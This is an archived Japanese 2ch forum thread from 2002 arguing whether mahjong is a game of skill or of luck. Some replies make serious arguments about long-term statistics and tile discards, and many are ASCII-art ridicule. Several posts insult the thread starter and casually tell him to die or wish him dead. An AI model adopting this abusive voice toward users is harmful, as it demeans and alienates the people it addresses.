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麻雀って実力関係あんの?

1 ::02/05/30 18:45
ほとんど、運じゃない?
君ら人の事ヘボヘボいうけど
なんか変わりあんの?
麻雀プロとかあるけどさぁ運がよかった人たちの事じゃないの?
ど素人だろうがなんだろうが先にリーチして先にツモりゃ
自称「巧い」人たちはなにもできないよね。
君タチにはワロタ(・∀・)

2 :焼き鳥名無しさん:02/05/30 18:47
神  超傑作 傑作 佳作  良作  凡作  惜作  不作  駄作 超駄作 1ch逝き
┠──┼──┼──┼──┼──┼──┼──┼──┼──┼──┨

3 ::02/05/30 18:47
         ☆ チン
                    
☆ チン  〃  Λ_Λ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ヽ ___\(\・∀・) <2げっと
    \_/⊂ ⊂_ )   \_____________
  / ̄ ̄ ̄ ̄ ̄ ̄ /|
  | ̄ ̄ ̄ ̄ ̄ ̄ ̄|  |
  | .佐賀みかん.  |/

4 :焼き鳥名無しさん:02/05/30 18:50
神  超傑作 傑作 佳作  良作  凡作  惜作  不作  駄作 超駄作 1ch逝き
┠──┼──┼──┼──┼──┼──┼──┼──┼──┼──┨
                                         ↑
                                     このへんかしらん?  

5 :焼き鳥名無しさん:02/05/30 18:50
┏━━━ / |━━━━━┓
    ┗┳┳━ |_| ━━━┳┳┛
      ┃┃ /  ヽ     ┃┃
    ┏┻┻ |======| ━━┻┻┓
    ┗┳┳ ヽ__ ¶_ ノ ━━┳┳┛
      ┃┃ (/)     ┃┃
      ┃┃ (/)     ┃┃
    凸┃┃ (/)     ┃┃凸
    Ш┃┃ (/)     ┃┃Ш
    .|| ┃┃ (/)     ┃┃.||
  ∧_∧   (/) ∧_∧  ∧ ∧
  ( ・∀・)  (/)(´∀` )  (゚Д゚ )  1が氏にますように
  (つ  つミ (/)(⊃⊂ ) ⊂  ⊃
  |_|_|_I(/)_|_|_|__|  |
  /////ノ,,,,,,ヽ ////||  |〜
////////////  |∪∪
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|  |
|        奉  納        |

6 :焼き鳥名無しさん:02/05/30 18:50


            ⊆ニ(二(ニニ⊇   ⊆ニ(二(ニニ⊇
        ./ ̄ ̄ ̄ ̄ ̄/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ヽ
       / ____/_________________ヽ
      ,/ ̄ ̄ ┏━, / ̄ ̄ ̄|| ||. ̄ ̄ ̄ ̄ |||  ̄ ̄ ̄ ̄ ̄ ̄ ̄...| |
     ,/ ∧ ∧. i┸i //. ∧ ∧ || / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    _.,/. (・Д・ ) | :::|// (゚Д゚ ) < >>1を迎えにきました
   |/,,,,,へ⊂ ヽ  .//  ,/  ノ/ ||\______________
  ,/ ̄ ̄ ̄ ̄ ̄ ̄//|_/ ̄ ̄ ̄|  ̄ ̄ ̄ ̄ ̄ | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
  |~ ゜ ̄゜ ̄ ̄ ̄~~| ̄ ̄   =。|┃       |━━━━━...............|
  |______: |,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,|,,,,゜,,,,,,,,,,,,,,,,,,,,,,,,,|,,,東京精神病院,,,,,[|
 ._|]0::∴:::0::[二二il:]    ,-―-、 ,,|         |       .     [|
 |====== ;...........|  /,  ̄ヽ |~~|.        |  /,  ̄ヽ |     {|
 ヽニ[_]ヾニニヽ''''''|―-|.(※)|':|''''|.'''''''''''''''''''''''''''''|''''''''|.(※)|:|'''''''''''''''''/
     ゞゝ三ノ ̄ ̄ ̄ ゞゝ_ノ ̄ ̄ゞゝ三ノ ̄ ̄ ̄ ゞゝ_ノ

7 :焼き鳥名無しさん:02/05/30 18:50
|  >>1の回収に来ました
\        
   ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
         ________        
    ―――――――、     ヽヽ
.   /.  ̄ ̄ ̄//. ̄ ̄| ||____ヽヽ      
  /.    ∧// ∧ ∧| || 東京都  ヽ ヽ              
 [/____(゚_//[ ].゚Д゚,,) || 清掃局  |  |
. ||_    _|_| ̄ ̄ ∪|.|| ̄ ̄ ̄ ̄ ̄|  |
. lO|――|O゜.|____|.||.-――――┴―|
 |_∈口∋ ̄_l__l⌒l | | コ□ニ//l⌒lソ

8 :焼き鳥名無しさん:02/05/30 18:51
ルールにもよる

9 :焼き鳥名無しさん:02/05/30 18:51
毎回このスレ立つと思うけど、じ

10 :焼き鳥名無しさん:02/05/30 18:51
     |||||   __ビギナーの登龍門____
     ||||| /_____________/|
       |||||  ___________ | |
        |||||                | | |
             || (* ゚Д゚)さん 投稿日:‐‐‐ || |
    Λ     Λ   ||氏ね!!          | |  |
    /  __/    ||クソ厨房が!!      | | |
   /uu ||||||||||||\ ||クソスレ立てんな!    | | |
  |∪u U     | ||逝ってよし!!カス!! || |
   \_u___ / ||___________| |/|
   /     \  |_____________/ |
  /        \|        A:===    | /|___
  |          \_____B:=== __ |/ |  /)
  |        |\  \@ABCDEFGHー  / / //
  |        | \uU ))□□□□□□□  / /  //
  |         \    )))________//  //
  |           \  ―――――――――   //
               ――――――――――――

11 :焼き鳥名無しさん:02/05/30 18:52
      ∧_∧      ∧_∧
     _( ´∀`)    (´∀` )
  三(⌒),    ノ⊃    ( 1  )   糞スレは・・
     ̄/ /)  )      | |  |
    . 〈_)\_)      (__(___)

         ∧_∧  .∧_∧
         (  ´∀) (´∀` )
       ≡≡三 三ニ⌒) 1  .)   立てるなって・・
        /  /)  )  ̄.| |  |
        〈__)__)  (__(___)

           ∧_∧  ,__ ∧_∧
          (    ´)ノ ):;:;)∀`)
          /    ̄,ノ'' バ  )  言ったろーが!!
         C   /~ / /   /
         /   / 〉 (__(__./
         \__)\)
                      ヽ l //
            ∧_∧(⌒) ―― ★ ―――
            (    ) /|l  // | ヽ   ヴォケがーー!
           (/     ノl|ll / / |  ヽ
            (O  ノ 彡''   /  .|
            /  ./ 〉
            \__)_)

12 :焼き鳥名無しさん:02/05/30 18:52
                          サルでも               (  (
                   ,,.r'' ゛~~` ''ッ,,  立てねーぞ            )   )
                 、 ゛  ,,,,,,,,,,,,,,,,,,,,, ヾ.   こんなスレ       ,.、   / /
                  ミ   ミ゛,へ.__, ,_ノヽ i.                .| |l   l ,´
                ミ    ミ, ( ・) {・フ 〉 ミ.          _-、i::| |ニニii '
            、,,,,ツi:     ミ,`~´ ヽ~〈  .ミ        /,‐ヽヽ`、||
          、シ``   i:      ,ゞ  'n.inヽ. .ミ          ( .〉〉/
         シ  //      ミ`    l.l ヽ"、         /  ノ
        ミ/ シ           彡 ,=こ二=.{ ミ,,      ,r'´ ,,、'゛
        ミi. /  /       ' ! w、`~^' vwv '、   ミ      〃 .ミ
       .ミ /     i:  /      `^^     \ ."   〃  ミ
      .ミ.:/ / / i:      v    !  ,,   \ 、 〃  ミ
      :i;     .i:   w      !!   ミ!:   ミ \\( ⌒ヽ
      :i;  /   i:      !!       .ミ キ    , ⌒`、_  )  )
      :il     .i:    !    w!    ミ .:i.   (_ (  _,ノ  ) ,
     :il   !  i:           ! ,〃゛  キ    ゞ、 __,  ノ ,
     .:il !   /~~````` " '''' = ‐- 、ミ  _,,,,_ミ,  il `  ー ´
     :il   ´ ―  ̄ - ,,. -‐‐-、、 ヽ. ヾ、  ゞ、 `  〃
     ゝ、wx.mn.!!++ナ'~      ヾ~ヽ、 ヽ、 ,, ~^^}´
        彡   〃  〃     }} /〉.〉〉〉i''"   〃
         彡、     {{     〃,__!////l |    〃
           X,,    》.   ≪.__`‐'.' '´,Uwwvw'、...,,,___
            ^^^^ !wニこ)こ)二)`) (_,,,..- 、...二⊃_).)

13 :うんこーまん:02/05/30 18:53
牌は生きている!!!!!

14 :焼き鳥名無しさん:02/05/30 18:53
  | >>1ってうざいよね〜
  \  _______
   V
  ∧_∧∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ( ・∀・)´∀` )< だよね〜、誰か頃してくれないかな?
 (    )    )  \_______________  ∧ ,∧
 | | || | |                           (・д・,,)ペッ!!
 (__)_)__(_)            ∧__∧?          、'(_@
                     (´⊇`)
                     ( 1 )
                     || |
  ∧ ∧ムカムカ           (((_)_)
  (#゚Д゚) ̄ ̄ `〜                   ∧ ∧
    U U ̄ ̄UU                     (   ) イッテヨシ!!
  へ                            |  ヽ
/    ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| ったく、サルみてーに糞スレ乱立させてんじゃねーよゴルァ!!

15 :焼き鳥名無しさん:02/05/30 19:00
運なし芸人

16 :焼き鳥名無しさん:02/05/30 19:00
             _.z='':`':`':`:`:`ヾトyレL
           ,ィ'":::::::::::::::::::::::::::::::::::::::::::く`
          ソ::::::::::::::::::::::::::::::::::::::::::::::::::::≦
           }::::::::::::::::::::::トlililィ|:::::::::::::::::::::::ぐ
           }::::|.||:|:||:||:||    |}:||:|:||:||:::::::く`
          }:::ト| | | | | |   | | | | | |イ:::::ト
         「^||             ||^´lー-、
         人 '|   ●      ●   | ノ:::::::::::ヽ
   _.. -‐'''¨::::::::iゝl             .lイ::::::::::::::::::}
. ‐''"::::::::::::::::::::::::::ト、:\    、_,.    .へ:::::::::::::::::|::| 麻雀って実力関係あんの?
:::`ヾ:::::::::::::::::::::::::::|::ヽ::::ヽ、   e   ./√{:::::::::::::::j:::|
::::::::::ヽ::::::::::::::::::::::::i::::ヽ、:rへ、___,. イ::/::::::::::::::::::::/:::|
:::::::::::::ミ、:::::::::::::::::::::::::::::::::::::::::ヽ、   |/:::::::::::::::::::::イ::::::|

17 :焼き鳥名無しさん:02/05/30 19:03
      lll  ll  , /::/.// /::::::::\ヽヽ  ヽ ヽ
      ///_.//:://  ̄ ̄ ヾi,::\ ト|ヽ| 
 lll  ll //'  /'`メ、    ,r'`ヽ::::ヽl      ああ…
     / ====u== ≡  /=u==== .|     無念…
 /'⌒| ll|:::::::`ー--‐'" :::::::::::\‐-‐'" |      無念だ…!
 | l⌒| |::::::ヾ~し'"ソ ::::U::::::::::\ー' |      dat逝きは無念…
 .| |二|ll |:::::::::::` ̄ ノ r‐:::::::::::::::::ヽ、      しかし…
  | !  | |::::::/ ̄ ~     ̄  ‐-- '      仕方ないのさ…これも…!     
  ヽこ, リ、::/:::::ム──────‐‐i .|
    /ミ :::\::::::::::::::          |      思うようにいかねえことばかりじゃねえか…
   /ミ  :::::::\::::::U:::: ミ三彡   /       2ちゃんねるのスレの流れは…!
   /ミ   ::::::::::\::::::::::::::::::::::::::::::/        不本意の連続…
  /ミ     :::::::::::::\::::::::::::::::::::/
  /ミ      ::::::::::::::::\::::::::::/;|`ー,
  ヽ、      :::::::::::::/;;ヽノ;;;;;;| 7

18 ::02/05/30 19:06
的をつかれたもんだから
みんなあせってンのかな?

運も実力のうちっていっちゃったらそれまでだけどね・・・
「巧い」ってことはそうとう運がいいんだな。みんな

19 :焼き鳥名無しさん:02/05/30 19:10
1はそう思ってないからこのスレを立てたんだと思われ

20 :焼き鳥名無しさん:02/05/30 19:15
運は実力のうちじゃないみたいですよ(麦)

21 :焼き鳥名無しさん:02/05/30 19:18
>>1はこいつだろ
http://game.2ch.net/test/read.cgi/mj/1022536657/14

22 :焼き鳥名無しさん:02/05/30 19:22
そうとう運が悪いんだな1は・・・
かわいそうに・・・

23 :焼き鳥名無しさん:02/05/30 19:23
>>1
頭悪過ぎ。
多分何言っても理解できないだろうから
あえてマジレスはしないよ。
麻雀止めた方が身のためだよ。

24 :焼き鳥名無しさん:02/05/30 19:23
>>1は間違いなく下級者

25 :焼き鳥名無しさん:02/05/30 19:24
マジレスした奴は負け犬

26 :焼き鳥名無しさん:02/05/30 19:28
                     / jjjj      _
                   / タ       {!!! _ ヽ、
                  ,/  ノ        ~ `、  \        _
                  `、  `ヽ.  /■\ , ‐'`  ノ      /  `j
        /■\_      \  `ヽ( ´∀` )" .ノ/    /  /`ー'
       ( ´∀`)  ̄"⌒ヽ   `、ヽ.  ``Y"   r '      〈  `ヽ
      / ) ヽ' /    、 `、   i. 、   ¥   ノ       `、  ヽ/■\
     γ  --‐ '    λ. ;  !   `、.` -‐´;`ー イ         〉    ´∀)    ,-、、
     f   、   ヾ    /   )    i 彡 i ミ/         / ノ    ̄⌒ヽ   「  〉
     !  ノヽ、._, '`"/  _,. '"     }    {         ノ  ' L     `ヽ./  /
     |   ̄`ー-`ヽ 〈  < _ ヽ.    /  ■  `\      / , '    ノ\  ´  /
      !、__,,,  l ,\_,ソ ノ   /   /ヽ、  ヽ.     (     ∠_   ヽ、_, '
          〈'_,/ /   /   /  ノ    ヽ.   )     i  、      ヽ
              | |  イ-、__  \  `ヽ    {   f  _,, ┘  「`ー-ァ   j
           l.__|   }_  l    \ \   |  i  f"     ノ   {  /
           _.|  .〔 l  l    ノ  _>  j  キ |  i⌒" ̄    /  /_
           〔___! '--'     <.,,_/~  〈   `、ヾ,,_」       i___,,」

27 :焼き鳥名無しさん:02/05/30 19:30
        , -─‐- 、.
        /   ,r─--ゝ、
.       ,'   /    --\
       l    \  ─‐-  〉
.       l   i⌒i|    ━ /
       |   | h |!     `ヽ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
.       │   ヽ._|  _,ノ  r_ _)  | 初っ端AA貼る者いるか──・・・!?
      |.    / |   l`====ゝ  | AA貼る者───・・・・!?
    /\   /  l   ヾ==テ  < なければわしからまいるっ・・・・!
    /\. \/   ヽ、.___,ノ    | わしが>>1だ さあ貼ったっ・・・・!
  /    \. \   /        | 貼ったっ・・・・・・! 貼ったっ・・・・・・!
 /      \  \ /        \_______________
/      _/ \  l
     /   `ヽ.\|

28 :3翻40符 ◆64s.zqJw:02/05/30 20:16
>>1にはワロタ(・∀・)

29 :焼き鳥名無しさん:02/05/30 20:22
ハハハ
  ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ( ^∀^)<  あほか
 ( つ ⊂ ) \_________
  .)  ) )
 (__)_)     (^∀^)ゲラゲラ シネヤクソガ

30 :焼き鳥名無しさん:02/05/30 20:25
九割は運だね。「今日はついてたけど負けた。」とか聞いたことないからな。

31 :焼き鳥名無しさん:02/05/30 20:32
非常に平仮名が多くて読みやすい>>1には好感を覚える。

32 :焼き鳥名無しさん:02/05/30 23:25
卓球やれ。あれは実力の世界だ。

33 :焼き鳥名無しさん:02/05/30 23:28
下手な1は即刻死んで。(笑)

34 :焼き鳥名無しさん:02/05/30 23:32
>>32
ワラタ

35 :焼き鳥名無しさん:02/05/31 01:19
        rー、  
    」´ ̄`lー) \
    T¨L |_/⌒/   ← >>35
     `レ ̄`ヽ〈
       |  i__1
     _ゝ_/ ノ
      L__jイ´_ )
        |  イ
         |  ノ--、           r'⌒ヽ_
        ゝ、___ノ二7  /´ ̄l、_,/}:\
         |ーi |   l_/ /__ィ::.  ゝ~_ィ´:; ,ゝ
        __〉 {      (T´ |1:::.  \_>、};;_」
       'ー‐┘       ! ` ̄''ァ一 、\ ヽ} ← >>1
               〈` ̄ ̄^`¬ノ .::〔 ̄´
                   1  ヽ   .:::レ  ヽ、
                |_イー-、_;;j|_:.   ゝ、
                __,,,... -- |. {―――‐フゝ、   〉 -- ...,,,__
        _,, -‐ ´       ,r|__ト,    1ニノ ー'´       ` ‐- ,,_
    , ‐ ´         └―'´                     ` ‐ 、

36 :焼き鳥名無しさん:02/05/31 01:43
神  超傑作 傑作 佳作  良作  凡作  惜作  不作  駄作 超駄作 itokio街カテ逝き
┠──┼──┼──┼──┼──┼──┼──┼──┼──┼──┨

37 :焼き鳥名無しさん:02/05/31 06:39
>>32
不意の突風とか

38 :焼き鳥名無しさん:02/05/31 06:45
>>1
あるに決まってんだろ!
お前アホだな・・・ハァ

39 :焼き鳥名無しさん:02/05/31 07:58
東1局で親倍に直った場合、その後の戦略おしえてください

40 :焼き鳥名無しさん:02/05/31 08:01
>>39
なおった?意味不明也。

41 :39:02/05/31 08:20
「ちょくった」と読め、というレスをしなければならない麻雀板

42 :焼き鳥名無しさん:02/05/31 08:38
41よ・・・

40>1>普通の人 くらいの馬鹿さ加減だから諦めろ

43 :焼き鳥名無しさん:02/06/09 16:03
39 :焼き鳥名無しさん :02/05/31 07:58
東1局で親倍に直った場合、その後の戦略おしえてください

44 :焼き鳥名無しさん:02/06/09 16:23
正しくは
直られた場合
だろ。

45 :焼き鳥名無しさん:02/06/09 17:31
直撃した。だから直ったでいいじゃん。よくないけど

46 :焼き鳥名無しさん:02/06/15 22:05
実力が関係無いならなぜわたくしは毎回ラスなの??

47 :焼き鳥名無しさん:02/06/15 22:07
「それはおまえが下手だから」って言う意見はいらないよ
それだったら実力が関係あるってことじゃない

48 :焼き鳥名無しさん:02/06/15 22:23
でも運の要素が強いと思うよ
だって麻雀の歴史はかなり長いけど競技として行われないじゃない
囲碁将棋のように「段」とか無いじゃない
麻雀はそういうものを作れないんだよね
ほとんどの場合、運がいいか悪いかで勝負がつくから

49 :焼き鳥名無しさん:02/06/15 22:50
>>46
激しく同意

50 :ちっぱん ◆pChnLpNk:02/06/15 23:03
競技もあるし段もあるんだけどねえ。
ま、一般の認知度の低さが致命的だな。
とはいえ、強い弱いが無い、単なるジャンケンみたいな
運のみのゲームであれば、ここまで熱中する人もいるまい。
実力がすぐ飽和する、って言いたいのかもしれんが、向上
心を失った人で本当に強い人はいないと思うよ。強い人ほど、
より上を目指してる。
ところで、麻雀の性質からして、1半荘の勝敗で優劣を競える
ようなもんじゃないんだよね。打者の優劣が1打席の結果で
量れないのと同じで、1シーズンを通せばイチローと新庄の
打率は確実な差となって表れる。麻雀の場合、そういう確実な
差というものが表に表れてこないだけだ。

51 :焼き鳥名無しさん:02/06/16 00:44
>>50
確実な差が表に出ないのなら実力は無関係と思いますが?

52 :ちっぱん ◆pChnLpNk:02/06/16 01:03
>>51

たとえば、イチローと新庄が全然別の地域の草野球の選手で、
それぞれ行き当たりばったりのチームと試合してたなら、
確実な差は表に出てこないよ。打者の実力差なんてものは、
長いスパンでの数字の差として表れてくるものだからね。

逆に言えば、麻雀でもはっきりした数字で(平均順位とか、
平均ポイントとかだけでもいい)成績を管理すれば、実力の差は
はっきりした形で表すことが出来るだろう。
この差を持って生まれた運の差だというなら、世の中に実力
などというものはない。

53 :焼き鳥名無しさん:02/06/16 17:54
>>53

じゃあもっと簡単な方法があるよね
めちゃくちゃ強いアルゴリズムをもったコンピューター3人と
麻雀を1000回くらいやって勝率80%取れたらプロ5段
50%ならプロ初段
30%ならアマ3級って感じ。

こんな方法で決めたプロなら実力あるって言える?

54 :ちっぱん ◆pChnLpNk:02/06/17 21:41
>>54

いえる。
めちゃくちゃ強いアルゴリズムが本当に
めちゃくちゃ強ければね。
少なくとも、現状であいつは強いだの弱いだの
言ってるより、はるかに正確な実力の指標となりうる。

55 :焼き鳥名無しさん:02/06/21 07:59
麻雀なんて運の絵合わせゲームだろ!
いまさらアホか

56 :焼き鳥名無しさん:02/06/21 09:01
そうか・・・
下手なやつよ思ってた人は運がなかっただけなのか・・・
この世には運のねーやつがいっぱいいるから麻雀で金稼ぐの簡単だなー。

57 :名無しさん必死だな:02/06/21 09:46
>>1
(ヒント)レインマンが麻雀覚えれば最強

58 :焼き鳥名無しさん:02/06/22 19:00
>>1
(゚д゚)ハァ?
あるに決まってんだろゴルァ!
貴方は麻雀を御存じですか?

59 :焼き鳥名無しさん:02/06/22 21:25
>>1 君は上手い人と打った事があるかね?
たまには、実力者の後ろで観戦しなさいそれでもわからなければ
チンチロでもしてなさいってこった

60 :焼き鳥名無しさん:02/06/23 01:42
面前ツモのみで、鳴きも役もドラも一切存在しなければ運だろうなあ・・
実際そんな事はないわけで。
まー個人的には配牌とツモのめぐり合わせが良くないと(そりゃ鳴きも含めてだが)
どうしたってあがれない、聴牌できないわけでそこのところを棚に上げて
俺は強い(・∀・)とか言う気にはなれないっす。

61 :焼き鳥名無しさん:02/06/23 19:22
運だけだよ

62 :焼き鳥名無しさん:02/06/23 21:14
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63 :焼き鳥名無しさん:02/06/23 21:38
捨て牌と手牌をどう組み合わせてもダメな時が多々あるので
やっぱ運でしょ。

64 :焼き鳥名無しさん:02/06/23 21:40
ゴルフだって運よくホールインワンが出されればプロ
でもどうにもならないからゴルフも運だけだよ

65 :焼き鳥名無しさん:02/06/23 21:58
>>64
お前は運だけではタイガーウッズには勝てない

66 :焼き鳥名無しさん:02/06/23 22:07
1は死ぬほどアホだな。
上手いヤツを後ろから見せてもらってみろや。
お前とはあきらかに牌をきる順番から違うから。
上手いヤツは運が悪くても大した負けはしない、何故か?
上がれないなら、他人にも上がらせないように鳴いたりして場の流れを変える。
んでチャンスが一度でも来たらソレを逃さずに上がる。
基本なんだがな。
貴様はそんなコトすらしてないんだろ?
イヤ、むしろできないんだろ?
ツモっては切りツモっては切り、自分の牌しか見えてない。
相手が相手の手牌のドコから何を切ってきたかとか視線とか見ててみろや。
相手の状況を把握して場を進めれるから。
まあ、初心者は最初そんなもんだ。
場数を踏めば自然と周りにも気を配れるようになる。
最初はカモられるのが当然だが上手くなるための手間賃とでも思っとけ。

ちなみにゴルフが運なわけねえだろ、死ねよ。
全てを計算した上でキチンとしたスイングからスコアは算出されるんだ。
それとも何か? ゴルフやったコトない人間が運だけで勝てると??
笑わせるなよ。

67 :焼き鳥名無しさん:02/06/23 23:23
>んでチャンスが一度でも来たらソレを逃さずに上がる。
そりゃロン牌でたら上がるだろ。いくら>1がバカでもそりゃお前馬鹿にしすぎだろ。

>他人にも上がらせないように鳴いたりして場の流れを変える。
ブラフの清一で相手の手を縛るとか一発消しとかか?しかし鳴いたからといってツモが
変わるってのはおかしな考え方だぞ。どこに何あるかわかるのお前?こういう奴に限って
「オレの勘だと」とか言うんだよな。ニュータイプじゃあるまいし

>上手いヤツは運が悪くても大した負けはしない
何?「大した負け」って?負けは全部負けだよ。トップのチャンス狙わないで
2着狙いで満足か?カネカネいうなら麻雀なんてやらんで働けよ。

68 :焼き鳥名無しさん:02/06/23 23:29
66じゃないけど
>>んでチャンスが一度でも来たらソレを逃さずに上がる。
>そりゃロン牌でたら上がるだろ。いくら>1がバカでもそりゃお前馬鹿にしすぎだろ。
完全に発言の趣旨からずれてるよね
チャンスを逃すか逃さないかの次元の話をしてるんだろ?
あがり牌が出た時がチャンスなんですか?

>何?「大した負け」って?負けは全部負けだよ。トップのチャンス狙わないで
>2着狙いで満足か?カネカネいうなら麻雀なんてやらんで働けよ。
1位以外は全部負けだと思ってるならこの発言も理にかなってるけどさ
3着と4着じゃとりあえず負けの大きさは違うよね

69 :焼き鳥名無しさん:02/06/23 23:38
1はネタじゃないのか。。。

70 :焼き鳥名無しさん:02/06/23 23:39
ネタに決まってるじゃん

71 :焼き鳥名無しさん:02/06/23 23:54
当たり牌じゃなくって最初の手牌なんですが・・・。

念のため聞きますが麻雀はデジタルな確率のゲームと思ってますか?
オレの考えとしては少なからず流れというものはあると思ってますので、
どちらが正しいとかじゃなく、意見は合わないと思います。

ただ、仮にの話ですが、
対面の人がツモ牌をよく手牌に入れて手が進んでると思うときってありますよね?
そのとき自分のツモがよくない、(配牌もよくない)こんなときどうします?
無理っぽいと思っても面前ですすめますか? オレ個人としては一応鳴いてみるんですが。
別にその結果として相手に上がられても自分としては納得できるんですよ。
自分から行動を起こしたとして。
ただ相手が上がるのを黙って見てて、その結果として上がられると、
やっぱりあのとき行動してればよかったなと後悔しちゃうんです。
まあ、コレはプレイスタイルの差だとは思いますが、
1さんの一番の問題はやはり牌の切る順番だと思うんですよ。

メンツの都合上で5人とかいたら1人余りますよね?
そのときに他人のを見るコトがあるんですが、
やっぱり切る順番とか鳴くタイミングがあきらかに違うんですよ、勝つ確率の高い人と低い人では。
そりゃ全くの同レベルの人間が麻雀をすれば運の問題だとは思います。
ただ、そういうことはありえないですよね?
クローン人間でもない限りは全く同じレベルに見えても僅かな差があったりしますし。
やはり、自分の意志でゲームを動かせることができるならば100%運であるとは言えないと思います。

後、金かけても点1なので(ハコっても300円)別段金なんぞ欲しいとは思ってません。
0でやるとドコかで負けても金かかってないからイイヤと思ってしまうコトがあります故にオマケ程度賭けてるだけです。
別段麻雀で儲ける気はございません。

後、2着狙いとかは別段しません、勝てそうなら勝ちにいきます。
ただ、持ち点1万、オーラスとかで役満狙うとか馬鹿げたコトはいたしませんが。

72 :焼き鳥名無しさん:02/06/24 01:12
>念のため聞きますが麻雀はデジタルな確率のゲームと思ってますか?
>オレの考えとしては少なからず流れというものはあると思ってますので、
>どちらが正しいとかじゃなく、意見は合わないと思います。

この辺のことって結局どうなんだろなあ?ひとつ言えるのは山が完成した時点で
どこになにがあるか決定されてるってこと。そしてさいの目ひとつで自分の
手持ちが決まる。鳴きが入れば順番は変わる。そしてどこに何があるかは見てみないと
わからない。鳴いて流れを変えるってのは思い上がりのような気がする。個人的に。

73 :焼き鳥名無しさん:02/06/24 01:19
本当に最悪の流れの時って、鳴くとドツボになるよな・・・

麻雀の実力っていうのは、その場その場の自分の運をMAXで使えるかどうか、だと俺は思うよ。

74 :焼き鳥名無しさん:02/06/24 03:00
ドツボというより不調者の鳴きによって他の人に有効牌が
はいる事が多いと思う

75 :焼き鳥名無しさん:02/06/26 02:33
age

76 :焼き鳥名無しさん:02/06/26 03:37
ツキのみ

77 :焼き鳥名無しさん:02/06/26 06:21
実力関係無い、運だけ

78 :焼き鳥名無しさん:02/06/26 06:48
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79 :焼き鳥名無しさん:02/06/26 07:53
板違い

80 :焼き鳥名無しさん:02/06/26 17:26
実力なんて関係ないよな。
俺東風でレート1100だけど、
観戦モードで超上級で打ってる奴ら見てると
すげー下手だもんな。
ツモや配牌が良くて勝ってるの。あいつら

81 :焼き鳥名無しさん:02/06/26 17:32
負けても気持ちよく金払える奴が結局は勝ち組みです

82 :64:02/06/26 17:56
>>65>>66そりゃそうだが>>1の言う「先にリーチして先につもりゃ」
とか言うのをゴルフに当てはめただけねだけどゴルフが
運だけなんて本気で思う奴はいないだろ?
麻雀もそれと同じ毎回先にリーチして、先につもれるわけなんてない
ただ麻雀ってのは運の要素が強いから実力が関係ないなんて
思えるだけ

83 :焼き鳥名無しさん:02/06/27 06:12
流れって運じゃないの?
「今はこういう流れだから」って言う人いるけど

84 :焼き鳥名無しさん:02/06/27 06:26
>>80
下手が上手を見てなんの評価をするというのか(w
ちなみにツモが良いように見えるのは切り方が上手いからなのだよ

85 :焼き鳥名無しさん:02/06/27 06:34
強くなれ
さすれば道は見えてくる

86 :焼き鳥名無しさん:02/06/27 06:40
http://jbbs.shitaraba.com/sports/145/

87 :焼き鳥名無しさん:02/06/27 10:00
>>77
激しく同意

88 :焼き鳥名無しさん:02/06/27 18:44
>>85
だからどうやって?

89 :焼き鳥名無しさん:02/06/27 19:17
>>88
ひたすら打て
そして考察しろ
考える頭はあるんだろ?

90 :焼き鳥名無しさん:02/06/27 19:38
あんまかんけーねーな

91 :焼き鳥名無しさん:02/06/27 19:41
ネタにマジレスしてる厨房がいるスレはここですか?

92 :焼き鳥名無しさん:02/06/27 19:54
>>77
激しく同意

93 :焼き鳥名無しさん:02/06/27 20:07
勝てば運、負ければ実力。

94 :焼き鳥名無しさん:02/06/27 22:59
ほとんど運だな。ポーカーと同じくらい。

95 :蟹江:02/06/27 23:47
半チャンだけを見れば、運のような気がするが
なんせ麻雀は中国4千年が産んだゲームです。(笑)
つまり、実力を判定するには、なが〜〜い時間がかかるのです。
フリー雀荘でも「3ヶ月間のトータルトップ」とか「半年間の・・・」みたいな感じの張り出しをやってる
店もあるが、やっぱり巧い奴は常に名前が張り出されている。
下手な奴は毎日店に通っていても名前が無い。
やはり麻雀は、長期的に見れば実力は出る。
運だ、とか言ってるやつは負けた言い訳を、自分以外のものに「責任転嫁」してるだけ。

96 :焼き鳥名無しさん:02/06/28 00:42
正直「ここぞ!」という所で力を発揮できるもんでもないしな。
長い目で見ろといっても人が見てるときにアピールできなきゃ実力実力
言ってもしょうがない。勝てれば別に運でもかまわない

97 :時は金なり:02/06/28 00:53
運の一言に尽きる。うまいやつは代わりのとことで運がない。

98 :焼き鳥名無しさん:02/06/28 01:14
普通に運だろ?
バイオス=運
オーエス=腕
って位どうしようもない程運主体。

99 :焼き鳥名無しさん:02/06/28 01:17
サッカーって実力関係あんの?
http://sports2.2ch.net/test/read.cgi/wc/1025194445/

100 :焼き鳥名無しさん:02/06/28 01:19
100

101 :焼き鳥名無しさん:02/06/28 01:20
>>99
審判に金を上手く渡す実力

102 :98:02/06/28 01:35
サッカー
運=メディアプレーヤー
実力=OS
位の割合。

麻雀(わかりにくそうなんで訂正)
運=OS
実力=beck.asf
位の割合。

サッカーなら今すぐ友達適当に集めてブラジル代表とガチンコ(よーするにお互い勝つ気)で
やれば100試合やれば100試合負ける。

これを麻雀で同じように対応させると下手しなくても勝ち越したりする。
そん位麻雀は運。前のほうでジャンケンみたいな単純なものならどうとか
言ってた奴いたけど同じ。ただジャンケン・・ポン終了とかみたいな秒殺過程ほぼ0でなくて
過程に絵合わせ的パズルなゲーム性があるから皆面白がってやるだけの話。

103 :焼き鳥名無しさん:02/06/28 01:45
>>102
長文うざい
読む気しねーよボケ。
今すぐ氏ね

104 :焼き鳥名無しさん:02/06/28 02:03
>>102
こいつは確実に弱い。
間違いない。

105 :焼き鳥名無しさん:02/06/28 10:06
>>99
糞スレワラタ

106 :焼き鳥名無しさん:02/06/28 10:22
>>104
